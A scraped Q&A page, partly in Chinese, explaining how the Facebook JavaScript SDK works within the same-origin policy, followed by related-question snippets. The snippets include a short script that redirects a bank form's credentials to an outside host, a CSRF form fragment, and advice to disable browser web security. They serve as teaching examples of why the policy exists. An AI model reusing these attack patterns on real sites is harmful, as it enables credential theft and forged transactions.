天道酬勤,学无止境

Why does new Facebook Javascript SDK not violate the “same origin policy”?

The new Facebook Javascript SDK can let any website login as a Facebook user and fetch data of a user...

So it will be, www.example.com including some Javascript from Facebook, but as I recall, that script is considered to be of the origin of www.example.com and cannot fetch data from facebook.com, because it is a violation of the "same origin policy". Isn't that correct? If so, how does the script fetch data?

评论

From here: https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript

The same origin policy prevents a document or script loaded from one origin from getting or setting properties of a document from another origin. This policy dates all the way back to Netscape Navigator 2.0.

and explained slightly differently here: http://docs.sun.com/source/816-6409-10/sec.htm

The same origin policy works as follows: when loading a document from one origin, a script loaded from a different origin cannot get or set specific properties of specific browser and HTML objects in a window or frame (see Table 14.2).

The Facebook script is not attempting to interact with script from your domain or reading DOM objects. It's just going to do its own post to Facebook. It gets yous site name, not by interacting with your page, or script from your site, but because the script itself that is generated when you fill out the form to get the "like" button. I registered a site named "http://www.bogussite.com" and got the code to put on my website. The first think in this code was

iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.bogussite.com&

so the script is clearly getting your site info by hard-coded URL parameters in the link to the iFrame.

Facebook's website is by far not alone in having you use scripts hosted on their servers. There are plenty of other scripts that work this way.. All of the Google APIs, for example, including Google Gears, Google Analytics, etc require you to use a script hosted on their server. Just last week, while I was trying to figure out how to do geolocation for our store finder for a mobile-friendly web app, I found a whole slew of geolocation services that had you use scripts hosted on their servers, rather than copying the script to your server.

I think, but am not sure, that they use the iframe method. At least the cross domain receiver and xfbml stuff for canvas apps uses that. Basically the javascript on your page creates an iframe within the facebook.com domain. That iframe then has permission to do whatever it needs with facebook. Communication back with the parent can be done with one of several methods, for example the url hash. But I'm not sure which if any method they use for that part.

If I recall, they use script tag insertion. So when a JS SDK call needs to call out to Facebook, it inserts a <script src="http://graph.facebook.com/whatever?params...&callback=some_function script tag into the current document. Then Facebook returns the data in JSON format as some_function({...}) where the actual data is inside the ... . This results in the function some_function being called in the origin of example.com using data from graph.facebook.com.

受限制的 HTML

  • 允许的HTML标签:<a href hreflang> <em> <strong> <cite> <blockquote cite> <code> <ul type> <ol start type> <li> <dl> <dt> <dd> <h2 id> <h3 id> <h4 id> <h5 id> <h6 id>
  • 自动断行和分段。
  • 网页和电子邮件地址自动转换为链接。

相关推荐
  • Same origin policy
    Maybe some of you can help me get a better understanding of the javascript same origin policy. The same origin policy is defined as following (http://en.wikipedia.org/wiki/Same_origin_policy): In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other's methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites. I have deployed a GWT
  • 在Chrome Webkit检查器中不断生成“不安全的JavaScript尝试访问带有URL的框架...”错误(“Unsafe JavaScript attempt to access frame with URL…” error being continuously generated in Chrome webkit inspector)
    问题 例如,在使用Facebook API时,Chrome(或其他任何Webkit浏览器)会抛出大量此类“不安全的JavaScript尝试访问带有URL的框架...”。 它不会干扰实际操作,但会导致javascript控制台基本上无法使用。 我想知道是否有一种方法可以专门在控制台中抑制这些错误? 或者,如果您还有其他解决方案,我将不胜感激。 谢谢。 回答1 您可以使用--disable-web-security命令行选项运行chrome,从而在测试过程中允许跨域请求。 这可能应该消除错误(并允许FB监视您的测试;) 回答2 当加载来自其他域的源并尝试访问document.cookie时,会发生这种情况。 头部源(脚本标记)以及iframe文档都会发生这种情况,而iframe文档由于某种原因试图访问document.cookie。 回答3 有什么问题? 大量Unsafe JavaScript attempt to access frame with URL... Chrome JS控制台中的错误消息。 正如@thechrisproject指出的那样,这些错误是由许多知名的第三方API和小部件引起的,包括但不限于: Facebook JS SDK Vimeo iframe嵌入 Google Maps Iframe嵌入 我对原因的理解:(如果我错了,请纠正我) 与竞争的浏览器相比
  • Javascript检测加载了另一个域的关闭弹出窗口(Javascript detect closing popup loaded with another domain)
    问题 我正在打开一个弹出窗口,并向其附加一个onbeforeunload事件,如下所示: win = window.open("http://www.google.com", "", "width=300px,height=300px"); win.onbeforeunload = function() { //do your stuff here alert("Closed"); }; 如果将URL保留为空,则新弹出窗口将以“ about:blank”作为地址打开,但是当我关闭它时,会看到警报。 如果我打开时看到的(带有一个外部URL),则关闭后,我将再也看不到该警报。 知道为什么会这样吗? 回答1 如上所述,相同的来源策略可防止Javascript检测此类事件。 但是有一个非常简单的解决方案,它使您能够检测到此类窗口的关闭。 这是JS代码: var openDialog = function(uri, name, options, closeCallback) { var win = window.open(uri, name, options); var interval = window.setInterval(function() { try { if (win == null || win.closed) { window.clearInterval(interval)
  • 相同来源策略如何适用于浏览器扩展?(How does Same Origin Policy apply to browser extensions?)
    问题 给定一个浏览器扩展程序,该扩展程序将信息从一个网页发送到完全不同的服务器,这是否违反了相同的原始策略? 回答1 同源策略(SOP)适用于普通网页,而不适用于浏览器扩展,即使它们是用JavaScript编写的。 当扩展代码不是源自服务器时,“不同的服务器”是什么意思? (扩展脚本可能具有某种起源,例如chrome-extension://longhashidentificationstr ,但是没有传统的域/起源。)要与任何网页通信(具有CORS标头的网页除外),扩展名就不能被绑定SOP。 扩展并不能完全“违反” SOP; 相反,SOP不适用于他们。 SOP旨在限制可能由损坏或恶意的Web页面引起的损坏。 查看网页应该要求对该网页的零信任,因为它很容易访问网页。 但是,安装扩展程序对用户来说不那么频繁,并且对用户的影响更大,因此要求对扩展程序有一定的信任并不是没有道理的。
  • 如何将一个本地文件的同源策略违规绕过到另一个?(How do I bypass a same origin policy violation for one local file to another?)
    问题 我正在尝试使用未托管在服务器上的文件半重新创建 Mozilla 的 JavaScript + <video> + <canvas>演示用法。 加载我的文档导致错误控制台报告此错误: 错误:未捕获的异常:[异常...“安全错误”代码:“1000”nsresult:“0x805303e8(NS_ERROR_DOM_SECURITY_ERR)”位置:“file:///media/disk/javascript/html5/chromakey/chromakey1.htm 行: 23"] 这是第 23 行: this.referenceImageData = this.bCtx.getImageData(0, 0, this.bufferCanvas.width, this.bufferCanvas.height); 它试图从我之前将一帧视频复制到的画布中获取图像数据,如下所示: this.bCtx.drawImage(this.inputElement, 0, 0, this.inputElement.width, this.inputElement.height, 0, 0, this.bufferCanvas.width, this.bufferCanvas.height ); this.inputElement引用这个(相当无聊的)元素的地方: <video id=
  • 任何使用客户端 XSLT 的大型站点?(Any big sites using Client Side XSLT?)
    问题 最近,我一直在思考在服务器端构建原始 XML,然后在客户端使用 XSLT 样式表将 XML 转换为完整 UI 的一些非主流架构。 当然,如果客户端不支持客户端 XSLT,则必须存在回退机制,在这种情况下,我们只需在服务器端为它们转换它。 我已经非常熟悉 XSLT,这种方法似乎是表示和内容的干净分离,完全强制将数据转换为 XML,并使用 XSLT 进行表示。 我也知道这确实给应用程序增加了一层额外的复杂性,这只是另一个可能会失败的移动部分。 我的问题是:是否有任何知名网站或大流量网站使用这种方法,如果有:您从中吸取了哪些限制/经验教训? 感谢互联网,扎克 回答1 就像其他人提到的那样,暴雪有许多客户端 xsl 的站点。 我建议避免客户端 xsl。 这是一个非常酷的主意,但是您需要解决许多不寻常的错误。 在 Firefox 中,任何使用 document.write 的 javascript 都会破坏 DOM。 此外,firefox 的 noscript 插件会停止客户端 xsl。 在这两种情况下,用户都看不到任何东西。 似乎没有办法检测这种错误,因此回退是行不通的。 在 IE 中,如果您有任何东西执行 30x 重定向到不同来源的东西(从 http 到 https 或跨子域),您将收到违反相同来源政策的错误。 您并没有真正违反同源策略,但 IE 的行为与您一样。 例如,如果您访问
  • 为什么没有针对WebSocket的同源策略? 为什么我可以连接到ws:// localhost?(Why is there no same-origin policy for WebSockets? Why can I connect to ws://localhost?)
    问题 我想使用WebSockets进行我的应用程序的进程间通信(Daemon <-> WebGUI和Daemon <-> FatClient等)。 在测试期间,我尝试通过websocket.org(http://www.websocket.org/echo.html)上的JavaScript WebSocket客户端连接到本地运行的Web套接字服务器(ws:// localhost:1234)。 我的问题是: 为什么会这样呢? 浏览器(在Linux:FF29)上没有实施跨域策略吗? 我问是因为websocket.org是否有害,它可以尝试与我的本地WS服务器通信并将从本地主机收到的每条消息重定向到其他任何服务器: Local WebSocket Server Browser Evil Web Server at ws://localhost:1234 at http://evil.tld | | | | |------[GET /]--------->| | |<-----[HTML+EvilJS]----| |<------[connect ws://..]----| | |<----[some communication]-->| | | |----[evil forward]---->| | | | 我还没有测试整个用例,但是从websocket.org提供的JS连接到ws:
  • How do I bypass a same origin policy violation for one local file to another?
    I'm trying to semi-recreate Mozilla's demo usage of JavaScript + <video> + <canvas> with files that aren't hosted on a server. Loading my document causes the error console to report this error: Error: uncaught exception: [Exception... "Security error" code: "1000" nsresult: "0x805303e8 (NS_ERROR_DOM_SECURITY_ERR)" location: "file:///media/disk/javascript/html5/chromakey/chromakey1.htm Line: 23"] Here's line 23: this.referenceImageData = this.bCtx.getImageData(0, 0, this.bufferCanvas.width, this.bufferCanvas.height); It's trying to get the image data from a canvas to which I previously copied a
  • Chrome 违规:[违规] 处理程序占用了 83 毫秒的运行时间(Chrome violation : [Violation] Handler took 83ms of runtime)
    问题 我正在尝试在我的项目中实现 Facebook 的注销功能。 登录工作正常。 但是我面临着在带有注销代码的 JavaScript 控制台中收到以下消息。 [违规] 长时间运行的 JavaScript 任务耗时 318 毫秒 session.php:51 1 sdk.js:135 [违规] 处理程序占用了 83 毫秒的运行时间(允许 50 毫秒) 我试图搜索其他类似的线程,但这些解决方案对我不起作用。 我尝试删除部分代码并查看哪部分出现问题。 很明显,如消息中所示,由于 Facebook 的 JS SDK 导致错误。 我还禁用了所有 Chrome 扩展程序。 代码在 Firefox 中运行良好,但在 Chrome 和 Opera 中不起作用。 有什么方法可以延长这个超时时间吗? 或任何其他方法在 chrome 中解决此问题。 这是我的注销代码。 <?php session_start(); //echo $_SESSION["current_user"]; //echo $_COOKIE["current_user"]; session_destroy(); unset($_COOKIE["current_user"]); setcookie("current_user","",time() -3600, "/","", 0); //header("location: login
  • Chrome violation : [Violation] Handler took 83ms of runtime
    I'm trying to implement the Facebook's logout functionality in my project. Login works just fine. But I'm facing the getting the following message in JavaScript console with the logout code. [Violation] Long running JavaScript task took 318ms session.php:51 1 sdk.js:135 [Violation] Handler took 83ms of runtime (50ms allowed) I've tried to search for other similar threads and those solutions didn't work out for me. I tried removing parts of my code and see which part is giving problem. Its quite clear that its getting the error due to Facebook's JS SDK as seen in the message. I've also disabled
  • 如何确定网页是在iframe中加载还是直接加载到浏览器窗口中?(How to identify if a webpage is being loaded inside an iframe or directly into the browser window?)
    问题 我正在写一个基于iframe的Facebook应用程序。 现在,我想使用相同的html页面来呈现普通网站以及facebook中的画布页面。 我想知道是否可以确定页面是否已在iframe中加载或直接在浏览器中加载? 回答1 由于相同的原始策略,浏览器可能会阻止对window.top访问。 IE错误也会发生。 这是工作代码: function inIframe () { try { return window.self !== window.top; } catch (e) { return true; } } top和self都是window对象(与parent ),因此您要查看窗口是否是顶部窗口。 回答2 在与父源相同的iframe中时,window.frameElement方法返回在其中嵌入窗口的元素(例如iframe或object )。 否则,如果在顶级上下文中浏览,或者父框架和子框架的起源不同,则它将评估为null 。 window.frameElement ? 'embedded in iframe or object' : 'not embedded or cross-origin' 这是一个HTML标准,在所有现代浏览器中均提供基本支持。 回答3 RoBorg是正确的,但我想补充一点。 在IE7 / IE8中,当Microsoft将Tabs添加到他们的浏览器中时
  • JavaFX WebView禁用相同来源策略(允许跨域请求)(JavaFX WebView disable Same origin policy (allow cross domain requests))
    问题 我正在开发一个JavaFX应用程序,该应用程序主要是一个精美的网页。 它是一个桌面应用程序(没有嵌入到网页中),并且具有用于主UI的Web视图。 该应用程序本身的唯一目的是使用Bluecove访问蓝牙设备,因为使用Web浏览器上的JavaScript不可能直接实现该目的。 概念验证可以正常工作(我能够从Java调用JavaScript代码,反之亦然),但是我还有一个额外的要求,即从JavaScript内调用任意Web服务/ API,但这违反了相同的原始策略(类似于Android上的该策略) :允许在Android Webview + jquery mobile中进行远程ajax调用)。 在JavaFX上可以吗? 有小费吗? PS:我正在使用JavaFX 2.2。 回答1 基本上,javaFx具有与CORS结合在一起的问题-https://javafx-jira.kenai.com/browse/RT-35868。 假设您正在使用的Web服务已启用CORS,则可以尝试以下方法: System.setProperty("sun.net.http.allowRestrictedHeaders", "true") 或者 java -Dsun.net.http.allowRestrictedHeaders=true <your main class here> 希望对您有帮助 回答2
  • 创建 Javascript API,如 Facebook 和 Twitter(Creating Javascript API like Facebook and Twitter)
    问题 我正在考虑为我的应用程序创建 javascript API 方法,类似于 Facebook 或 Twitter Javascript SDK 的工作方式。 有人可以就可以帮助我类似地开发 Javascript 方法的资源提出建议。 我打算做以下事情: 用户应该能够异步加载 Javascript。 加载 Javascript 后,调用一个方法在特定元素上加载 iframe。 感谢人们是否可以帮助我实现这一目标? 回答1 做这样的事情很简单。 异步加载库很容易,与 facebook 无关,它是一个 javascript 的东西,例如使用 facebooks 的例子: (function(d){ var js, id = "LIB_ID", ref = d.getElementsByTagName('script')[0]; if (d.getElementById(id)) { return; } js = d.createElement("script"); js.id = id; js.async = true; js.src = "URL_OF_LIB"; ref.parentNode.insertBefore(js, ref); }(document)); 这将异步加载您的 js。 为了能够“通知”库已加载,您可以使用 facebook 正在使用的方法在窗口上定义回调
  • Facebook API:“分享”已经发布在页面墙上的帖子?(Facebook API: “Share” a post already posted on a page's wall?)
    问题 我似乎无法找到答案。 可能是我的 Google-fu 让我失望了。 有没有办法使用 FB 的 Graph API(或任何其他方式),以便在经过身份验证的用户的墙上“共享”页面的帖子,以便它会增加“共享号”,如所附照片所示? 回答1 好的,我的答案在“否”和“可能”之间有所不同,具体取决于您究竟想如何实现这一点。 您是否希望它是一种完全依赖于代码的程序化、自动共享机制,不需要用户主动共享它? 如果是这样,答案是否定的。 实际上,它也可能会违反平台政策,但这是不可能的。 您是否介意它是基于对话的共享,对于不同类型的主页帖子具有不一致的行为? 如果是这样,那么你很幸运。 有些。 有一个现已弃用的函数,名为“sharer.php”,它曾经用于共享按钮,当时 Facebook 仍然支持该函数。 虽然这已被弃用,但它不太可能被删除,但不幸的是,这确实意味着没有文档。 幸运的是,这真的很简单: http://www.facebook.com/sharer.php?u=https://www.facebook.com/coca-cola/posts/10152033676358306 以上是在可口可乐 Facebook 页面上分享帖子的示例。 当然,您可能希望对u参数进行 URL 编码。 你可以把它作为一个简单的链接,或者你可以用Javascript将它附加到一个按钮的onclick上。
  • Why FB.ui does not work even after loading javascript sdk?
    I am just wasting time from last one week trying to figure out what goes wrong in this particular SIMPLE code sample. Firefox's Error Console says 'FB.ui not defined'. I tried to fix this by placing the code that loads javascript sdk in every possible way. But theres no effect. And all the firefox says is 'FB.ui not defined'. Someone help me out please. Thanks. (Note: I ve replaced the XXX... with ma APPID) <html> <head> <title>My Great Website</title> </head> <body> <div id="fb-root"></div> <script> var publish = {method: 'stream.publish',display: 'popup', // force popup mode attachment: {
  • 为什么需要相同来源策略的简单示例(Simple example for why Same Origin Policy is needed)
    问题 我已经阅读过Same Origin Policy ,但是为了更好地理解这一点:任何人都可以写一个简单的代码(用任何语言)来证明SOP停止了攻击吗? 在SOP出现之前怎么可能攻击某人? 回答1 <iframe id="bank" src="https://yourbank.com"></iframe> <script> window.onload = function() { document.getElementById('bank').contentWindow.document.forms[0].action = 'http://example.com'; }; </script> Javascript代码更改了表单的action属性(可以说是目的地),因此,在提交表单时,会将凭据发送给我,而不是银行。 如果我在服务器上设置了将您重定向到银行的PHP脚本,您甚至都不会注意到它。 使用相同来源策略,这种攻击是不可能的。 我域中的网站无法读取或修改银行网站的内容。 回答2 攻击示例1:使用HTML表单的跨站点请求伪造(CSRF) 攻击者在evil.com的页面上输入了以下内容: <form method="post" action="http://bank.com/trasfer"> <input type="hidden" name="to" value="ciro">
  • 在没有服务器端脚本的情况下在javascript中解决相同的原始策略(Getting around same origin policy in javascript without server side scripts)
    问题 我有一个不允许真正使用服务器端脚本的环境(很难在服务器上“安装”脚本)。 我尝试使用iframe违反javascript的相同来源错误; 但是,那没有用。 还有其他我不知道的解决方法吗? 谢谢! 回答1 正如David Dorward提到的那样,JSON-P是最简单,最快的。 但是,还有另一个技巧,特别是使用两个iframe。 两个人在不使用JSONP的情况下解决了这个问题,您可以执行以下操作。 该技术假定您对父页面具有某种开发访问权限。 在两个域/站点上有三个页面。 父页面内容页跨域通信页面(又名“ xdcomm”) 父页面和xdcomm页面的页面托管在同一域上,内容页面的页面托管在任何其他域上。 内容页面作为iframe嵌入到父页面中,而xdcomm页面作为隐藏iframe嵌入到内容页面中。 xdcomm页面包含一个非常简单的脚本,该脚本可检测查询字符串中的GET参数,解析该字符串以获取method和args变量(其中args是JSON编码的字符串),然后在父页面中使用指定的参数执行指定的方法。 可以在此处查看示例(查看源代码)。 即使JavaScript的“同源起源策略”限制了一个域的代码不能访问另一个域的代码,但是域之间是否嵌套(域A,嵌套在域B中,嵌套在域A中)也没关系。 因此,简而言之,通过将iframe的源更改为类似http://domaina.com
  • Getting around same origin policy in javascript without server side scripts
    I have an environment that doesn't allow server side scripting really (it is extremely difficult to get a script "installed" on the server). I tried using an iframe to violate javascript's same origin poilcy; however, that didn't work. Are there any other workarounds I am not aware of? Thanks!
  • JavaFX WebView disable Same origin policy (allow cross domain requests)
    I'm developing a JavaFX application that is mostly a glorified web page. It's a desktop application (it's no embedded into a web page) and it has a Web View for the main UI. The application itself serves the sole purpose of accessing Bluetooth devices using Bluecove because that's not possible directly with JavaScript on a web browser. The proof of concept works ok (I was able to call JavaScript code from Java and vice-versa) but I have one extra requirement of calling arbitrary web services/API from within JavaScript but this violates the same origin policy (similar to this on Android: Allow
  • 当存在 JSONP 和 CORS 等变通方法时,为什么浏览器具有同源策略?(Why do browsers have Same-Origin policies when workarounds like JSONP and CORS exist?)
    问题 这个问题有点像:Why same origin policy for XMLHttpRequest 但是,这个答案并不令人满意,因为它没有解决存在变通方法的事实(如问题中所述)。 答案仅解决与 XMLHttpRequest 直接相关的安全问题,但这些问题仍然存在于 JSONP(可能还存在 CORS,不确定)。 所以问题仍然存在 - 当有像 JSONP 这样的变通方法可以说更糟(因为它是可执行的而不是静态内容)时,为什么要制定严格的同源策略? 下面是一个示例:Company.com 想要对一些不受保护的资源进行 AJAX 调用,例如用于某些数据查找的简单公共 API。 Company.com 意识到这可能不安全,因此他们会仔细清理数据以确保没有有趣的业务。 但是,XMLHttpRequest 不允许这样做,因此 Company.com 必须使用 JSONP,但这会阻止数据清理,并可能导致攻击者将任意 Javascript 注入页面。 这是一个更好的解决方案吗? 另一个例子:Company.com 有一个漏洞,攻击者能够将 Javascript 注入页面,然后某些用户可以查看该页面(这可能有上百万种方式;这可能是最常见的网站攻击)。 使用严格的同源策略,攻击者可以整天弄乱页面,但他不能“打电话回家”,这是一个重要的细节,因为这意味着您的所有数据都是安全的。 但是 JSONP